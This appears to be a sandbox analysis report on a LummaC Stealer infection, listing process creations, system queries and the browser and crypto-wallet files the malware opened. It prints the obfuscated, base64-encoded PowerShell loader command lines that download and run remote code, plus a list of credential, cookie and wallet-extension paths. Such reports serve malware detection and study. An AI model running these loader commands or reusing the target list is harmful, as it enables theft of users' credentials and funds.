Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -enc uwb0ageacgb0ac0auabyag8aywblahmacwagaciaqwa6afwavwbpag4azabvahcacwbcafmaeqbzafcabwb3adyanabcafcaaqbuagqabwb3ahmauabvahcazqbyafmaaablagwababcahyamqauadaaxabwag8adwblahiacwboaguababsac4azqb4aguaigagac0aqqbyagcadqbtaguabgb0aewaaqbzahqaiaaiac0adwagaggaaqbkagqazqbuacaalqblahaaiabiahkacabhahmacwagac0abgbvahaaiaataemabwbtag0ayqbuagqaiabgaciaaqblahgaiaaoacgatgblahcalqbpagiaagblagmadaagafmaeqbzahqazqbtac4atgblahqalgbxaguaygbdagwaaqblag4adaapac4arabvahcabgbsag8ayqbkafmadabyagkabgbnacgajwboahqadabwahmaogavac8adwblagialgbragwaaqbwagqaeqb3ag8aegbpahkalgbzaggabwbwac8aawb1ag4abgbhahialgbwag4azwanackakqbgaciaigagac0avwbpag4azabvahcauwb0ahkabablacaasabpagqazablag4a
Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -ep unrestricted -w 1 sc $env:temp\a.ps1 ([system.text.encoding]::utf8.getstring([system.convert]::frombase64string('znvuy3rpb24gs0ziqygks3lhwxjvvuqpew0kkcgks3lhwxjvvuqglxnwbgl0iccopzw9xeculiknfcv7jevkdxauu3viu3ryaw5nkdmsmtawkvskx119ksaglwpvaw4gjycglxjlcgxhy2ugii4kiil9oyrfsnvwid0nawv4bxz7du4xautgzsjbt0v1vnk1im9zezzqbfbhlzphyjrjwi5pyjjxltdxo0nksfxneff3l016skfqcnqzqdzcfurojx5ubluoftbrc3nfacvoswzrkwm5wew4ncnaunltkm9hcdy1mdk1odm0ndewotm2ndmynda2mdk2otu4jw==')));cmd.exe /k start powershell -w 1 ([system.text.encoding]::utf8.getstring([system.convert]::frombase64string('cg93zxjzagvsbcatzw5jifv3qjbbr0vby2dcmefdmefvquj5quc4qvl3qmxbse1by3dbz0fdsufrd0e2quz3qvz3qnbbrzrbwkfcdkfiy0fjd0jjquznqwvrqnpbrmnbyndcm0fewufoqujjquzjqwfrqnvbr1fbyndcm0fitufvquj2quhjqvprqnlbrk1byufcbefhd0fiqujjquhzqu1rqxvbrefbwefcd0fhoefkd0jsquhjqwn3qm9br1vbykfcc0fdnefauui0qudvqulnqwdbqzbbuvfceufhy0fkuuj0qudvqwjnqjbbrxdbyvfcekfiuufjqufpqumwqwr3qwdbr2dbyvfca0fhuufauuj1qunbquxrqmxbsefbsufcaufia0fjqujoquhnqwn3qwdbqzbbymdcdkfiqufjquf0quvnqwj3qnrbrzbbwvfcdufhuufjqujnqunjqwfrqmxbsgdbsufbb0fdz0fuz0jsquhjquxrqlbbr0lbywdcbefhtufkqufnquznqwvrqnpbsffbwlfcdefdnefuz0jsquhrquxnqlhbr1vbwwdcrefhd0fhuujsquc0qwrbqxbbqzrbukfcdkfiy0fiz0jzquc4qvlrqmtbrk1bzefceufha0fiz0juqunnqup3qm9bsffbzefcd0fitufpz0f2qum4qwr3qmxbr0lbtgdcckfhd0fhuuj3qudrqwvrqjnbrzhbzwdccefia0fmz0j6qudnqwj3qndbqzhbyxdcmufhnefiz0joquhjquxnqndbrzrbwndbbkfda0fluujnqunjqulnqwdbqzbbvndccefhnefaquj2quhjqvv3qjbbsgtbykfcbefdquftqujwqudrqvpbqmxbrzrboy4gjgvudjpuzw1wxgeuchmxoybmdw5jdglvbibleudzclvvrcgpe2z1bmn0aw9uigv6cennzghhusgkckhqzwipe2lmkceovgvzdc1qyxroic1qyxroicruaejfwhbpvk8pkxtjdxjsichlrmjdicrysfblyikglw8gjfroqkvycglwt319fut5r1lyvvveow==')))	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\cmd.exe "c:\windows\system32\cmd.exe" /k start powershell -w 1 "powershell -enc uwb0ageacgb0ac0auabyag8aywblahmacwagaciaqwa6afwavwbpag4azabvahcacwbcafmaeqbzafcabwb3adyanabcafcaaqbuagqabwb3ahmauabvahcazqbyafmaaablagwababcahyamqauadaaxabwag8adwblahiacwboaguababsac4azqb4aguaigagac0aqqbyagcadqbtaguabgb0aewaaqbzahqaiaaiac0adwagaggaaqbkagqazqbuacaalqblahaaiabiahkacabhahmacwagac0abgbvahaaiaataemabwbtag0ayqbuagqaiabgaciaaqblahgaiaaoacgatgblahcalqbpagiaagblagmadaagafmaeqbzahqazqbtac4atgblahqalgbxaguaygbdagwaaqblag4adaapac4arabvahcabgbsag8ayqbkafmadabyagkabgbnacgajwboahqadabwahmaogavac8adwblagialgbragwaaqbwagqaeqb3ag8aegbpahkalgbzaggabwbwac8aawb1ag4abgbhahialgbwag4azwanackakqbgaciaigagac0avwbpag4azabvahcauwb0ahkabablacaasabpagqazablag4a;. $env:temp\a.ps1; function kygyruud(){function ezpcmdhgq($rhpeb){if(!(test-path -path $thbexpivo)){curl (kfbc $rhpeb) -o $thbexpivo}}}kygyruud;"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -w 1 "powershell -enc uwb0ageacgb0ac0auabyag8aywblahmacwagaciaqwa6afwavwbpag4azabvahcacwbcafmaeqbzafcabwb3adyanabcafcaaqbuagqabwb3ahmauabvahcazqbyafmaaablagwababcahyamqauadaaxabwag8adwblahiacwboaguababsac4azqb4aguaigagac0aqqbyagcadqbtaguabgb0aewaaqbzahqaiaaiac0adwagaggaaqbkagqazqbuacaalqblahaaiabiahkacabhahmacwagac0abgbvahaaiaataemabwbtag0ayqbuagqaiabgaciaaqblahgaiaaoacgatgblahcalqbpagiaagblagmadaagafmaeqbzahqazqbtac4atgblahqalgbxaguaygbdagwaaqblag4adaapac4arabvahcabgbsag8ayqbkafmadabyagkabgbnacgajwboahqadabwahmaogavac8adwblagialgbragwaaqbwagqaeqb3ag8aegbpahkalgbzaggabwbwac8aawb1ag4abgbhahialgbwag4azwanackakqbgaciaigagac0avwbpag4azabvahcauwb0ahkabablacaasabpagqazablag4a;. $env:temp\a.ps1; function kygyruud(){function ezpcmdhgq($rhpeb){if(!(test-path -path $thbexpivo)){curl (kfbc $rhpeb) -o $thbexpivo}}}kygyruud;"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -enc uwb0ageacgb0ac0auabyag8aywblahmacwagaciaqwa6afwavwbpag4azabvahcacwbcafmaeqbzafcabwb3adyanabcafcaaqbuagqabwb3ahmauabvahcazqbyafmaaablagwababcahyamqauadaaxabwag8adwblahiacwboaguababsac4azqb4aguaigagac0aqqbyagcadqbtaguabgb0aewaaqbzahqaiaaiac0adwagaggaaqbkagqazqbuacaalqblahaaiabiahkacabhahmacwagac0abgbvahaaiaataemabwbtag0ayqbuagqaiabgaciaaqblahgaiaaoacgatgblahcalqbpagiaagblagmadaagafmaeqbzahqazqbtac4atgblahqalgbxaguaygbdagwaaqblag4adaapac4arabvahcabgbsag8ayqbkafmadabyagkabgbnacgajwboahqadabwahmaogavac8adwblagialgbragwaaqbwagqaeqb3ag8aegbpahkalgbzaggabwbwac8aawb1ag4abgbhahialgbwag4azwanackakqbgaciaigagac0avwbpag4azabvahcauwb0ahkabablacaasabpagqazablag4a	Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe	Queries volume information: C:\Windows\Fonts\times.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe VolumeInformation

Source: C:\Users\user\AppData\Local\Temp\2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7508, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: powershell.exe, 00000013.00000002.3699746271.0000000003527000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Electrum-LTC
Source: powershell.exe, 00000013.00000002.3699746271.0000000003527000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/ElectronCash
Source: powershell.exe, 00000013.00000002.3699746271.0000000003527000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: powershell.exe, 00000013.00000002.3699746271.0000000003527000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Ethereum
Source: powershell.exe, 00000007.00000002.3782743007.00000000070A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: sqlcolumnencryptionkeystoreprovider
Source: 2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe, 00000014.00000002.3706098703.0000026A583E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: .C:\Users\user\AppData\Roaming\Ledger Live8

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
